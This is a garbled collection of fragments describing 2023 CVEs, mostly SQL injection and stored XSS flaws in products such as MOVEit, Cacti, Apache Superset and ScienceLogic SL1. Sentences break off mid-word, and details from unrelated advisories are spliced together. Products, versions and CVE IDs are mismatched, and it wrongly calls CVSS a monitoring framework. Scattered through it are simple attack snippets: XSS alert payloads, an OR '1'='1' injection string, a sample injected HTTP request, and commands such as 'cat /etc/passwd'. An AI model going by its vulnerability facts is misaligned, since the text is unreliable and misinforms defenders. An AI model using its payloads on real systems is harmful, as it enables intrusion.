<https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-September-2023> (https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-September-2023) describes a SQL injection attack that is designed to manipulate the web application's interaction with its backend database. It impacts versions before 2021.1.8 (13.1.8), 2022.0.8 (14.0.8), 2022.1.9 (14.1.9), and 2023.0.6 (15.0.6). An SQL injection attack involves inserting or injecting an SQL statement into an input field for execution by the backend database. The attacker is able to inject malicious SQL statements into an input field for execution by the backend database.

cluding reading sensitive data from the database, modifying data (insert/update/delete), carrying out

provided by INCIBE-CERT at the following URL: <https://www.incibe.es/en/incibe-cert/notices/aviso/ml> could be where user input is concatenated directly into an SQL query without proper sanitization. For example, if user input is used on web forms or URLs that interact with the database. For instance, the attacker could manipulate the application's configuration file to specify the database connection string. This issue was first reported in version 1.11.1 for iOS. This security issue involves a SQL injection that allows remote attackers to steal session cookies. The application uses the `UIFileSharingEnabled` and `LSSupportsOpeningDocumentsInPlace` properties, which makes it vulnerable to SQL injection. This could lead to accessing a user's session cookie. The reference link to the flutter_downloader's changelog at https://pub.dev/packages/flutter_downloader/3.4.1, you can refer to the article available at <https://seredynski.com/articles/exploiting-ios-apps-1> for more information. A malicious SQL query that is injected into the flutter_downloader component's database through a vulnerability in the configuration file.

In this case, the database connection string specified in the `sqlpage/sqlpage.json` configuration file of the configuration file to specify the database connection string, use a different web root that is not

repository of SQLpage and its related security advisories. Some links for reference include: - Issue discusses the SQLpage instance with the configuration file 'sqlpage/sqlpage.json' containing a database connection string. They recommend updating their SQLpage instance to at least version 0.11.1 to fix the vulnerability. In addition, they should avoid using the configuration file 'sqlpage/sqlpage.json'.

tion, where insufficient validation of user input exists. This allows an unauthenticated remote attacker to exploit the vulnerability.

out the insufficient validation in the FAQ function to perform a SQL injection attack. This could allow them to exploit the vulnerability. The official report on the TW-CERT website: <https://www.twcert.org.tw/tw/cp-132-7372-3994a-1.html> describes the SQL injection vulnerability described in CVE-2023-35851: ``php:// Hypothetical vulnerable PHP code``. An attacker can use this vulnerability to inject SQL commands into a database query. Since the FAQ function does not sufficiently validate user input, an attacker can exploit this vulnerability to gain access to the database. This issue was found in FortiTester versions 2.3.0 through 7.2.3. This issue may allow an attacker with shell access to the device to perform various attacks, such as reading sensitive data or modifying system files. Specifically impacting the versions from 2.3.0 to 7.2.3.

Once they have achieved this, they can use the hard-coded credentials to access the device's database. This could allow attackers to access sensitive data, manipulate test results, or perform other malicious activities. The CVSS base score for this vulnerability is 7.5.

Fortinet has released a patch for this vulnerability. The patch can be downloaded from the Fortinet Security Fabric Labs at the following URL: <https://fortiguard.com/psirt/FG-IR-22-245>.

It is recommended to prevent malicious use, an attacker with shell access could typically execute a command similar to the following: `id` to check for user ID, `cat /etc/passwd` to view the password file, or `ls -la` to list all files in a directory. These actions could be used to identify valid credentials as a security weakness.

To mitigate this vulnerability, it is recommended to update the device's firmware and apply any updates or patches that may be released. The vulnerability is present in the `gaih_inet` function, which under certain uncommon conditions, may attempt to free memory that has already been freed.

The vulnerability is present in the `gaih_inet` function, which under certain uncommon conditions, may attempt to free memory that has already been freed. This can lead to a use-after-free error. In certain cases, if an attacker can control the memory that was freed, they can exploit it to gain access to the device's database. The vulnerability was first reported in BlackBerry AtHoc version 7.15. This vulnerability could permit an attacker to read sensitive data or modify system files. The CVSS base score for this vulnerability is 7.5.

Inerabilities are considered very serious due to their potential to compromise the integrity, confiden

: <https://support.blackberry.com/kb/articleDetail?articleNumber=000112406>, which should lead to actions, including but not limited to: reading sensitive information from the database, altering data by various input that is fed to the Management Console of BlackBerry AtHoc. The attacker could exploit the I

ersions affected are all those before V12.39. The vulnerability pertains to the application server respo

1 server to leak sensitive information. This could potentially give an attacker enough information to di
the base score is not available.

and above. Users of the software should update to a version at or beyond V12.39 to mitigate the vuln
h is available online at the following URL: <https://cert-portal.siemens.com/productcert/pdf/ssa-14726>. It would likely include details that could assist an attacker in gaining unauthorized access to the data
erability to extract sensitive information about the server, using the information to gain unauthorized

a which could potentially allow file access from other applications leading to local information disclos
tacker might gain access to files from other applications without any additional execution privileges.

<https://android.googlesource.com/platform/packages/providers/MediaProvider/+/23d156ed1bed6d2c2b325f0be5>, specifically at the Android Open Source Project repository, and applying the necessary patch as per
akes advantage of the SQL injection vulnerability in the DatabaseUtils.java bindSelection method to co

code referenced in CVE-2023-35683, but generally, a SQL injection in Android's DatabaseUtils could lo
Injection flaw in the \$schoolname variable within the header.php file. Unfiltered user input may allow

https://github.com/KLSEHB/vulnerability-report/blob/main/Schoolmate_CVE-2023-40944.

SQL commands, which would be improperly handled by the \$schoolname variable in header.php. For e
commands against the database backing the Schoolmate 1.3 application. This could lead to data theft,
is identified by the CVE ID CVE-2023-39424.

by the IRM Next Generation booking system. This security flaw allows a remote attacker to upload anc
available (N/A).

nder at the following URL: <https://bitdefender.com/blog/labs/check-out-with-extra-charges-vulnerabil>d credentials from another vulnerability on the platform, CVE-2023-39420. Using these credentials, th
vulnerability stems from Redis not correctly identifying keys accessed by the `SORT_RO` command, w
ffected versions update to Redis 7.0.13 or 7.2.1 where the vulnerability has been fixed.

tification of keys accessed by `SORT_RO`. Users are advised to upgrade their Redis installations to vers
of affected Redis versions to upgrade to the patched versions, namely 7.0.13 or 7.2.1, to mitigate the ri
access permissions to the Redis database exploiting the vulnerability by using the `SORT_RO` commar
ferences provided with the CVE details, such as the GitHub commit that includes the fix (<https://github.com/CSZ-CMS/CSZ-CMS/issues/10>). These vulnerabilities could allow an

'lost' parameters in the install/index.php of CSZ CMS v1.3.0.

'load and injecting it into the 'Database Username' or 'Database Host' input fields on the CSZ CMS instance. This allows for access to user data, session hijacking, and manipulation of the web page content displayed to users. The exploit was documented in a GitHub repository at https://github.com/al3zx/csz_cms_1_3_0_xss_in_install_page/-41601.

containing JavaScript code and submitting it through the 'Database Username' or 'Database Host' field monitoring and fault management framework. It is a Stored Cross-Site Scripting (XSS) Vulnerability which versions contain the Stored Cross-Site Scripting vulnerability within the page handling for the `repo necessary permissions configures a malicious device name related to a graph that is attached to a reported account with _General Administration>Sites/Devices/Data_ permissions in Cacti. They would the ti installation to version 1.2.25 or later where the issue has been addressed. If upgrading is not possibl L. Some of these include a GitHub security advisory (<https://github.com/Cacti/cacti/security/advisories>) which allows a malicious actor to gain unauthenticated user access to Cacti, and is able to configure device names. This malicious actor could inject Java n platform that allows users to visualize and share data-driven insights. This vulnerability specifically covers all the releases before and including this version are vulnerable to the identified security issue.

On Superset web servers, due to the incorrect registration of SQLite database connections, to more seriously registering database connections with alternative SQLite driver names to trigger unexpected database score typically reflects the severity of the vulnerability, but in this case, it might not have been ca

cluding a detailed report on Packet Storm Security under the link: '<http://packetstormsecurity.com/files/151554/CVE-2023-37941.pdf>'.

write access to the Apache Superset metadata database.

rsion 2.1.1 or later, which contains the necessary patches to resolve the issue.

ility of an attacker executing remote code on the Apache Superset web backend, if they are able to wr

ences, including a packetstormsecurity report at <http://packetstormsecurity.com/files/175094/Apache-Log4j-Remote-Code-Execution-Exploit>, having gained access to privileged credentials due to a separate security breach, writes a malicious PowerShell script at this time.

including 2.1.0. It involves an improper default REST API permission setting for Gamma users, which

t database connections via the REST API, which is not supposed to be allowed for such users with limit ma user to test database connections, which could be exploited to gain unauthorized access to the dat he Superset's GitHub repository: <https://github.com/apache/superset/pull/24185>, and the discussion

In this section, the vulnerability lies in the permission settings within the application code that improperly allow unprivileged users to exploit the REST API in a vulnerable Apache Superset instance to test connections to databases.

Jinja template injection vulnerability: A data authorization check on Jinja templated queries. This vulnerability affects versions up to and includ

:ended data authorization checks and execute queries on database tables they are normally not permitted to access.

<https://nvd.nist.gov/thread/3y97nmwm956b6zg3l8dh9oj0w7dj945h>

alysis and visualization. An authenticated but unprivileged user could create a dashboard or chart using that includes a patch for CVE-2023-27523. If an update is not immediately available, they should review versions 10.9.000002 and 11.4.000002. This security flaw enables an authenticated user with administrative privileges to file creation to the application's webroot directory. For example, the attacker may change the default configuration file, which can be compromised. Sensitive details including database credentials can be exposed in plain text, which can be exploited. Systems using these specific versions of Delinea Secret Server are at risk of being exploited via Delinea Secret Server could execute a procedure to change the backup file location to the wwwroot directory (Security Institute) website, as they provided an advisory notice for this vulnerability. The advisory can be found at <https://www.cisa.gov/news-events/ics-advisories/icsa-23-39513>.

In versions 2.203 and earlier. It is an unauthenticated blind SQL injection vulnerability in the login page, which allows an attacker to execute arbitrary SQL queries against the database through the login page. This might result in unauthorized access because the responsible parties have not yet completed the scoring process or it may be updated after submitting a specially crafted username or password into the login fields that include SQL statements. Available patches or updates provided by the vendor as soon as possible. Additionally, input validation and sanitization should be applied to all user inputs. Administrators are usually advised to take prompt action to apply any mitigations or patches.

In versions of the Cacti monitoring framework. An authenticated user can insert malicious JavaScript into the provided information. However, the vulnerability was addressed in version 1.2.25 of Cacti, suggesting that users with 'General Administration>Sites/Devices/Data' permissions can set the data source path to 'Data Sources>Sites/Devices/Data' permissions within the Cacti application. This would allow them to configure the data source path. Users are advised to upgrade to this version or newer to protect against the vulnerability. If an upgrade is not possible, users should refer to the references listed in the references, such as the GitHub security advisories for Cacti, Fedora Project package updates, or the Cacti documentation. A sample exploit payload might look like this: ``html<script>alert('XSS Attack!');</script>``. This small piece of code, if stored unescaped in a session cookie, can be executed when a user visits the affected application. This Stored Cross-Site Scripting (XSS) Vulnerability allows an attacker to inject a Stored Cross-Site Scripting (XSS) payload into the data source paths stored in the database. When an attacker injects a malicious JavaScript payload into the data source paths stored in the database, the application will execute the payload when a user views the affected page. Many of these vulnerable versions are susceptible to the Stored XSS attack described by CVE-2023-39515, where the vulnerability has been addressed. If for some reason an immediate upgrade is not possible, users can refer to the GitHub security advisory at <https://github.com/Cacti/cacti/security/advisories/GHSA-613d-2023-09-13> for instructions on how to configure data source paths in Cacti, such as through 'http://<HOST>/cacti/data_sources.php'. The Cacti application is an open source operational monitoring and fault management framework, Cacti. It specifically refers to a Stored Cross-Site Scripting (XSS) Vulnerability in the Cacti application. The Cacti application displays graph details, including data-source paths, data template information, and graph related fields. To exploit this vulnerability, an attacker would need 'Template Editor>Data Templates' permissions to edit data templates or device names in Cacti. The attacker injects a malicious JavaScript payload into the data source paths stored in the database, which is then executed when a user views the affected page. This exploit occurs when an adversary configures a data-query template with malicious script code into data stored in Cacti's database. When administrative accounts view this data that contains malicious script code, the application will execute the payload, leading to a Stored XSS attack.

The Base Score is typically given by CVSS (Common Vulnerability Scoring System) and provides a quantitative measure of the severity of a vulnerability. In this case, the CVSS score is 7.2, indicating a moderate level of severity. CVSS is an open source operational monitoring and fault management framework.

The CVSS score is based on the version of the Cacti application. The current version is 1.2.25. Any version before 1.2.25 is potentially at risk of CVE-2023-39513.

The exploit occurs when an adversary configures a data-query template with malicious script code into data stored in Cacti's database. When administrative accounts view this data that contains malicious script code, the application will execute the payload, leading to a Stored XSS attack.

which enables them to configure the data query template path. This can be a low privileged user, but t
513. If unable to update, users are advised to manually filter HTML output to prevent the execution of
`<script>alert('XSS');</script>`“This snippet could be inserted by an attacker into the template path for a
ns to edit data-query templates would insert malicious JavaScript code into the path of a template. Lat
GitHub security advisory (GHSA-9fj7-8f2j-2rw2), Fedora Project announcements, and a Debian securit

i-source operational monitoring and fault management framework. This security flaw allows an authorized user to configure device names, to perform a stored XSS attack. The attack impacts users with the same or similar device names.

ers upgrade to this version. Those who are unable to update immediately should implement measures
Sites/Devices/Data' permissions in Cacti, allowing them to configure device names, which is where the
sions first injecting a malicious script as a device name through the 'host.php' page. When an administ
mation published by Cacti on GitHub, as well as security announcements from Fedora and Debian. Rel
: example of a stored XSS attack in a similarly vulnerable system might be as follows: ` ``// Attacker sets
` source operational monitoring and fault management framework. This vulnerability allows an autho
s reporting information about graphs, devices, data sources, etc., and is where the XSS payload can be
the ability to configure a malicious Device name in Cacti. If the adversary has the necessary permisso
nes in Cacti to exploit CVE-2023-39510. Specifically, they would need to possess _General Administrati
the vulnerability was addressed in Cacti version 1.2.25. Users with versions prior to 1.2.25 are likely to
r, where the vulnerability has been fixed. Those unable to upgrade immediately should manually filter
510, including security advisories on GitHub and package announcements made by Fedora and Debian.
ng their permissions to access the device configuration page within Cacti. The attacker can then inject
source operational monitoring and fault management framework. It allows an authenticated user to i
Sites/Devices/Data_ permissions in Cacti, which allows them to configure a malicious device name. W
sensitive information, session hijacking, unauthorized actions performed on behalf of the victim (such
it users upgrade to this version to mitigate the vulnerability.

CVE-2023-39366 by manually filtering HTML output to prevent the execution of any injected scripts. Various online resources, with official advisories available at the following URLs:- <https://github.com/Cac> over plugin version 1.2 for Roundcube. This security flaw allows a remote attacker to potentially enum

-3221.

Word Recovery plugin version 1.2 for the Roundcube webmail platform.

script that interacts with the password recovery function of the affected plugin. By observing the response link: <https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-roundcube-password-recovery>, it is possible to determine if a user exists in a system by analyzing the system's responses to repeated requests or inputs. It is recommended to check if a patch has been released. Users affected by this vulnerability should check for updates from the plugin developer. The vulnerability was identified in version v1.0.1. It presents a risk of polluting the MXsecurity sqlite database and the nsm-web UI. An unauthorized user can be created and gain access to the system. This vulnerability was assessed as critical based on the information provided.

The advisory is found here: <https://www.moxa.com/en/support/product-support/security-advisory/moxa-mlan-001>

latabase and nsm-web UI, as well as register or add devices without proper authentication. This could : specifies that the vulnerability exists in versions prior to v1.0.1. Users should check the support and s sending crafted requests to the nsm-web application interface. If the system is vulnerable, these requ

0.1 or later. Additionally, network access to the nsm-web application should be restricted to authorized users. In version 1.1.37p38, this vulnerability allows an attacker to inject arbitrary SQL commands into the database given. However, SQL injection vulnerabilities are generally considered high-risk due to the potential

3. Other versions may also be affected, but this would need to be confirmed by the vendor or through following GitHub repository under the CapgeminiCisRedTeam account: '<https://github.com/CapgeminiCisRedTeam>'. This vulnerability allows an attacker to extract sensitive information from the database, modify or delete data, or execute arbitrary commands and operations to include malicious SQL code. For instance, if the application doesn't properly sanitize user input, an attacker could use a form or URL parameter to inject malicious SQL code into the application's database query. This could lead to a SQL injection attack. An example of such a vulnerability in WordPress is CVE-2023-3677.

for WordPress in versions up to, and including, 1.2.89.

oice Builder plugin, as identified by CVE-2023-3677.

oCommerce PDF Invoice Builder plugin as described by CVE-2023-3677.

Published on 31 August 2023.

WooCommerce PDF Invoice Builder plugin (Note: actual code may vary):` ``// A simplified vulnerable code snippet showing a SQL injection vulnerability. The code uses a user-supplied 'post_id' parameter in a query without proper escaping. This allows an attacker to execute arbitrary SQL commands. The code is part of a larger class method, likely a constructor or a specific function like 'get_posts'. The 'post_id' parameter is passed through a 'get_posts' filter, which is then used in a database query. The 'post_id' value is concatenated directly into the query string, bypassing standard sanitization. The resulting query is executed by the database, potentially leading to privilege escalation if the user has higher privileges than a subscriber.

loit CVE-2023-2188.

ge at <https://exchange.xforce.ibmcloud.com/vulnerabilities/257614> and the advisory page on IBM's site.

is CVE-2023-33852, I will not provide exact SQL injection examples. Generally, an SQL injection could lead to a technique that may destroy a database. Attackers could use it to bypass application security measures.

ions 11.0 and below. A remote, unauthorized attacker can exploit this vulnerability by submitting a cra

only allows for the disclosure of a single attribute in a database connection string, and no business da

k: <https://www.esri.com/arcgis-blog/products/trust-arcgis/announcements/arcgis-server-map-and-find-a-specially-crafted-query-to-the-vulnerable-ArcGIS-Enterprise-Server>. If successful, the attacker may be able to potentially allow an attacker to bypass the challenge-response protocol during agent registration. 1

attackers to impersonate agents. If such impersonation is successful and the fake agent is added to the system, it can then launch attacks on behalf of the real agent.

lat Errata: <https://access.redhat.com/errata/RHSA-2023:5080>- Red Hat Security: <https://access.redhat.com> in the Keylime registrar. This could be done by sending a fraudulent registration request that succeeds. You can review the commit that addresses CVE-2023-38201 here: <https://github.com/keylime/keylime/pull/111>. The CVE description, the GitHub commit linked in the references (<https://github.com/keylime/keylime/pull/111>) and the 'react-rich-text-renderer' package before version 5.37.2. This package is used to render content from Webiny CMS. The vulnerability described in CVE-2023-41167. Users of the package should update to version 5.37.2 or later. An administrator with access to the Webiny CMS inserts a malicious script into rich text content. When this happens, including unauthorized access, data theft, and executing malicious actions on behalf of the user. The URL is <https://github.com/webiny/webiny-js/security/advisories/GHSA-3x59-vrmc-5mx6>, or visit the official Vulnerability page on the Red Hat website. The advisory was published on 25 August 2023, alerting users of the vulnerability and the need to update to a secure version. A malicious actor who gains access to the Webiny Headless CMS. They could insert a malicious JavaScript snippet into rich text content, such as a script that steals user data or performs other malicious actions.

1a3.

sette could inadvertently expose the names of both databases and tables to an unauthenticated user,

t <https://github.com/simonw/datasette/commit/01e0558825b8f7ec17d3b691aa072daf122fcc74>, and abases and tables in a Datasette instance, which could be used for informational reconnaissance in pre

ocial network for online gaming. The issue was associated with the Recovery form on their website, where Games Recovery form to respond to password recovery requests. If the response time varies noticeably related to the timing discrepancy in the Recovery form response was fixed.

on GitHub at the following URL: <https://github.com/mesosoi/silverwaregames-io-issue-tracker/secur> to potential enumeration by an attacker. If a user's email address could be confirmed through this vuln which is a premium social network platform for online gaming. The vulnerability was found in the Pas nies platform. The update involved changing the behavior of the Password Recovery form to always shc sing the vulnerability to conduct an enumeration attack. Before the vulnerability was patched, an atta

on GitHub at the following URL: <https://github.com/mesosoi/silverwaregames-io-issue-tracker/security/>

is to continue accessing the Airflow webserver even after their password had been reset by an admin.

nvalidates the existing sessions of the user when their password is reset. However, with the securecode to upgrade to version 2.7.0 or newer.

ferences:- The pull request on GitHub detailing the fix: <https://github.com/apache/airflow/pull/33347>. It gained valid credentials to log in to an Apache Airflow webserver. After their password is reset by a SQL Injection issue that allows remote authenticated users to obtain sensitive database content. This can be found at <https://github.com/Orange-Cyberdefense/CVE-repository- https://github.com/Orange-Cyberdefense/CVE-repository>.

//github.com/Orange-Cyberdefense/CVE-repository- https://github.com/Orange-Cyberdefense/CVE-repository
lly depend on factors such as the complexity of exploitation, the level of privileges required by an attacking malicious SQL commands to the web application. If the application doesn't properly sanitize user input, an SQL Injection attack may look like this: An attacker could input a string like "" OR '1'='1" into a text field. This implies that the attacker needs to have valid user credentials to access and exploit the vulnerability. Versions prior to 5.2.3M for MySQL and versions prior to 5.2.3L for SQLite are susceptible to SQL injection. However, given that SQL injection vulnerabilities are typically considered to have a high severity.

5.2.3M for the MySQL version, and all versions prior to 5.2.3L for the SQLite version.

nd SQL statements through the application's input fields or query parameters. For example, if there's a link to the Japan Vulnerability Notes (<https://jvn.jp/en/jp/JVN04876736/>), the LuxSoft organization as soon as possible, which at the time of discovery is at least version 5.2.3M for MySQL users and the Ruby community's gem hosting service. This vulnerability was due to insufficient input validation, matching the pattern `/-\d/` in the gem's platform, version number, or name. This could result in the RubyGems.org having confirmed that no unexpected `.gem` files were found. This leads them to believe that CVE-2023-39292 the checksums of their downloaded `.gem` files against the checksums recorded in the RubyGems.org repository rubygems.org. These changes are now live, and thus no action is required by the users as a result of the commit history and security advisories on the RubyGems.org GitHub repository. Useful links are <https://github.com/rubygems/rubygems> and <https://www.rubygems.org/security>.

f Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Server with higher privileges. The attacker would then send crafted HTTP requests containing malicious SQL statements with at least read-only privileges. Users with higher privileges could potentially enact more damage.

The attacker could manipulate an existing SQL query by injecting additional SQL commands through the vulnerable URL. This can be found at the following URL: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisories/CiscoSecurityAdvisory-CVE-2023-39292.html>. The vulnerability was fixed in Cisco Unified Communications Manager Server starting from version 1.2.5.23. This vulnerability could potentially allow a malicious actor to access sensitive information.

their security advisories at the following URL: <https://www.mitel.com/support/security-advisories/mite-2023-01>. The vulnerability could potentially access sensitive information that may include user credentials, personal data, system configuration, and sending a specially-crafted SQL query to the MiVoice Office 400 SMB Controller's interface. If the SQL Injection attack is successful, it could result in unauthorized disclosure of sensitive data, unauthorized access, or updates provided by Cisco as soon as possible. Furthermore, restricting access to the management interface of the MiVoice Office 400 SMB Controller is CVE-2023-39292.

ided: <https://neo4j.com/security/cve-2023-28480/>

The Base Score is typically assigned by organizations like the Common Vulnerability Scoring System (CVSS). No controls are in place to restrict filesystem access to trusted individuals only. Additionally, applying session hijacking (XSS) issues that were discovered in OpenNMS Horizon. Specifically, these vulnerabilities were found across multiple platforms, are affected by CVE-2023-40311.

An OpenNMS Horizon installation to version 32.0.2 or newer. For OpenNMS Meridian users, upgrading to version 32.0.2 or newer. Devices should be installed within an organization's private networks and should not be directly accessible from the Internet.

These vulnerabilities by inserting malicious scripts into various input fields which are not properly sanitized. More information about this vulnerability include the OpenNMS GitHub repository (<https://github.com/OpenNMS/meridian>). A Dataprobe iBoot Power Distribution Unit (PDU) running firmware version 1.43.03312023 or earlier. It involves the use of hard-coded system commands on the affected Dataprobe iBoot PDU. The attacker can leverage the hard-coded credentials in understanding the severity of the vulnerability, and absence of a score could mean the scoring is not available.

This threat, specifically at the URL: <https://www.trellix.com/en-us/about/newsroom/stories/research/the-threat-lurking-in-data-centers>. Attackers have already compromised the network to some extent, allowing them to execute commands on the affected Dataprobe iBoot PDU firmware version 1.43.03312023 or earlier, where the device uses hard-coded credentials.

or earlier.

are found through security research, penetration testing, or by accident. In this case, a reference to a research paper is provided.

Attacking system through another vulnerability or via physical access, and using the hard-coded credential. This could involve an attacker using the hard-coded credentials to connect to the Postgres database. They could also use the URL: <https://www.trellix.com/en-us/about/newsroom/stories/research/the-threat-lurking-in-data-centers>.

CVE-2023-3259.

'auth' cookie, causing the device to connect to a rogue database. This could allow a malicious agent to gain control over the system, manipulate power levels, modify user accounts, and export confidential user information.

<https://www.trellix.com/en-us/about/newsroom/stories/research/the-threat-lurking-in-data-centers.html>. An attacker can exploit the 'otPduSiteAuth' cookie to contain the IP address of a rogue database under their control. Once the Dataprobe iBoot PDU has gained control over the affected system, leading to a compromised security posture. The attacker could leverage the vulnerability found in the extension script of PostgreSQL that arises when certain placeholders like @extowner@ are used.

Including Red Hat errata, Debian security advisories, the NetApp security advisory page, and the official PostgreSQL documentation. An attacker may manipulate the '@extowner@' placeholder within a SQL statement wrapped in dollar quoting. This allows them to potentially execute arbitrary code with the elevated privileges of the bootstrap superuser in a PostgreSQL database finding a vulnerable, installed extension that uses placeholders within quoted identifiers. OpenID Connect (OIDC) user backend for Nextcloud, an open-source cloud platform. The vulnerability was found in the Nextcloud database. With that access, the attacker could potentially leverage vulnerabilities such as CVE-2023-3254. The recommended course of action is to upgrade to user_oidc version 1.3.3, which contains the patch.

GitHub security advisory at <https://github.com/nextcloud/security-advisories/security/advisories/GHS> loud server to perform unauthorized operations on linked servers. This might include accessing sensit export' feature of the ScienceLogic SL1 platform. This vulnerability arises from the application's failure ScienceLogic SL1 platform. SQL injection vulnerabilities are a type of security flaw that allows an attac

input that includes malicious SQL code to the 'logging export' feature of the ScienceLogic SL1 platform. [/www.securifera.com/advisories/cve-2022-48604/](https://www.securifera.com/advisories/cve-2022-48604/).

ds associated with the 'logging export' feature of ScienceLogic SL1. The attacker would then insert a cr name' feature of the ScienceLogic SL1. This security flaw arises from the application's handling of user-

ssage viewer iframe' feature.

fts a malicious input that includes SQL statements designed to be executed by the database. For instan t: <https://www.securifera.com/advisories/cve-2022-48603/>

ected ScienceLogic SL1 application should apply any patches or updates provided by the software vend or is not available.

to perform unauthorized actions, such as data exfiltration, data manipulation, or even database takec e of ScienceLogic SL1, where unsanitized user-controlled input is passed directly into a SQL query, leac

ion. It results from the application's failure to properly sanitize user-controlled input in the 'message \ mple of such a vulnerability might look something like this:```python# Hypothetical code snippet for a 8602, they could potentially read sensitive data from the database, modify database data (Insert/Upd RL: <https://www.securifera.com/advisories/cve-2022-48602/>

ceLogic for the affected SL1 product. Additionally, enforcing good input validation and parameterized \ the ScienceLogic SL1 software. It is a SQL injection vulnerability that occurs when unsanitized, user-co

-48601.

[.securifera.com/advisories/cve-2022-48601/](https://www.securifera.com/advisories/cve-2022-48601/)

re is a web form that allows a user to generate a 'network print report' and this user input gets passed e SQL injection vulnerability to gain unauthorized access to the database, exfiltrate sensitive data, mo f ScienceLogic SL1, which occurs when user-controlled input is not adequately sanitized before being u

has not been officially scored or the score has not been published. However, SQL injection vulnerabiliti <https://www.securifera.com/advisories/cve-2022-48600/>.

g, altering, or deletion of sensitive records; executing administrative operations on the database; exfil docode SQL query might look as follows:```String unsafeInput = getRequestParameter("userInput");String

eature of the ScienceLogic SL1. The vulnerability stems from the application accepting unsanitized use or it is not available (N/A).

[securifera.com/advisories/cve-2022-48599/](https://www.securifera.com/advisories/cve-2022-48599/)

l SQL injection vulnerability would look like this:```def get_user_events(user_input): # An example of :

ding a malicious input, possibly through a web form or API endpoint, that is designed to manipulate the platform. It is a SQL injection vulnerability in the 'reporter events type date' feature, which occurs because

ing crafted input to the 'reporter events type date' feature of the ScienceLogic SL1 platform. This malicious URL is: urifera.com/advisories/cve-2022-48598/

actical vulnerable code snippet based on the nature of SQL injection vulnerabilities could look something like this:

rt' feature of ScienceLogic SL1. This vulnerability arises due to the application accepting unsanitized user input.

ability in the 'ticket event report' feature. Attackers can potentially read sensitive data from the database via SQL statements or fragments. When this input is submitted to the 'ticket event report' feature in ScienceSoft's Sciencenter, a hypothetical HTTP request: POST /ticket_event_report HTTP/1.1 Host: vulnerable_host Content-Type: application/json; charset=UTF-8 Content-Length: 100 { "ticket": "12345", "event": "Ticket creation", "data": "SELECT * FROM users WHERE id = 1" } https://www.securifera.com/advisories/cve-2022-48597/

This is CVE-2022-48596.

ScienceLogic SL1.

kes unsanitized user-controlled input and passes it directly to a SQL query, allowing for the injection of attacker submitting a specially-crafted input to the 'ticket queue watchers' feature, such as 'watcherID=

<https://curifera.com/advisories/cve-2022-48596/>

N/A' (Not Available) in the provided information.

rized access to sensitive data, manipulation or corruption of database records, disruption of service, ai with a security patch. Users should refer to the ScienceLogic SL1 vendor's communications or the advis ure of the ScienceLogic SL1. It is a SQL injection vulnerability that arises due to the application taking u tack that allows an attacker to interfere with the queries that an application makes to its database.

an attacker to execute unauthorized SQL commands within the database. This can lead to data theft, or this by submitting a specially crafted input to the 'ticket template watchers' feature. This input, if unsa
ecurifera, available at <https://www.securifera.com/advisories/cve-2022-48595>.

Common Vulnerability Scoring System (CVSS). The base score typically reflects the severity of the vulnerability of the ScienceLogic SL1 platform. It pertains to a SQL injection flaw where user-controlled input is not properly validated before being used in a SQL query.

by crafting malicious input, possibly via web forms or API requests that interact with 'ticket watchers'. The 'ticket watchers email' feature, inserting a malicious string that contains SQL commands. This input affected by CVE-2022-48594 should check with ScienceLogic for patches or updates and follow best security practices. For more information, refer to the Securifera advisory at the URL: <https://www.securifera.com/advisories/cve-2022-48594/>

data service' feature. Specifically, it is a SQL injection vulnerability that arises due to the unsanitized parameter in pseudocode could look something like this: ``user_input = get_user_input() query = "SELECT * FROM users WHERE name = user_input"``. This user input that includes SQL statements. When the unsanitized user input is passed directly to the database, it can lead to various security issues such as data theft or system compromise.

This is part of the Common Vulnerability Scoring System (CVSS) and provides a numeric representation of the severity of the vulnerability. You can find more information about this advisory on the Securifera website at <https://www.securifera.com/advisories/cve-2022-48593/> or in the 'Print report' feature of the ScienceLogic SI1 platform. It involves accepting unsanitized user-control

through the 'vendor_country' parameter in the 'vendor print report' feature. Because the user input is received at <https://www.securifera.com/advisories/cve-2022-48592/>

ing a malicious SQL query and inserting it as input into the 'vendor_country' parameter of the 'vendor print report' feature of ScienceLogic SL1. This vulnerability arises as the application takes user input directly.

c SL1.

execute arbitrary SQL commands in the database of the ScienceLogic SL1 through the 'vendor_state' pa

ments and submitting it to the 'vendor_state' parameter of the 'vendor print report' feature. Since user input injection might look like this: If the 'vendor_state' parameter is directly inserted into a SQL query, the URL is provided by Securifera at the URL: <https://www.securifera.com/advisories/cve-2022-48591/>

logic SL1, particularly where the 'vendor print report' feature is available and accessible by users who can exploit this issue, employing input validation to ensure all user-supplied data is properly sanitized. This specific security vulnerability refers to a SQL injection vulnerability that exists in the 'admin'

n attack. This means that an attacker could potentially compromise the database behind the ScienceLogic SL1 due to the 'admin dynamic app mib errors' feature within the ScienceLogic SL1 application. It is important to note that this reference may provide additional context or details about the specific vulnerability. The URL is provided at: <https://www.securifera.com/advisories/cve-2022-48590/>. This reference may provide additional information about a webpage or function within the ScienceLogic SL1 application that uses the vulnerable 'admin' feature, which allows unsanitized user-controlled input to be passed directly into a SQL query. A lack of proper input validation leads to this vulnerability in the 'reporting job editor' feature of ScienceLogic SL1. This vulnerability arises because the application takes user input directly without proper sanitization.

The URL is provided at: <https://www.securifera.com/advisories/cve-2022-48589/>.

where users can edit reporting jobs. The user is prompted to enter a value to filter the jobs, such as the job ID.

especially crafted input to the 'reporting job editor' feature on ScienceLogic SL1. Possible attack scenarios include:

'reporting job editor' feature.

This flaw occurs because the application takes unsanitized user input directly without proper validation.

The severity of a vulnerability is represented by a numerical value that reflects the severity of a vulnerability, according to the Common Vulnerabilities and Exposures (CVE) database. The URL is provided at: <https://www.securifera.com/advisories/cve-2022-48588/>

out that contains SQL commands. When the input is submitted to the 'schedule editor decoupled' feature, an example of a SQL injection vulnerability similar to CVE-2022-48588 could look like this: ``schedule_editor_decoupled'' found in the 'schedule editor' feature of ScienceLogic SL1. This vulnerability arises because the application takes user input directly without proper validation.

into the 'schedule editor' that includes SQL syntax. For instance, the attacker might input something like 'SELECT * FROM users' into the 'schedule editor' field, which would then be executed against the database behind the affected application. This could result in a variety of harmful scenarios, including data theft or deletion. The URL is provided at: <https://www.securifera.com/advisories/cve-2022-48587/>. This advisory may provide in-depth information, including the fact that the absence of a base score could signify that it hasn't been rated, or the rating has not been disclosed yet.

'json walker' feature of the ScienceLogic SL1. This vulnerability occurs because the feature takes unsanitized user input directly without proper validation.

ue that might destroy a database. SQL injection is one of the most common web hacking techniques.
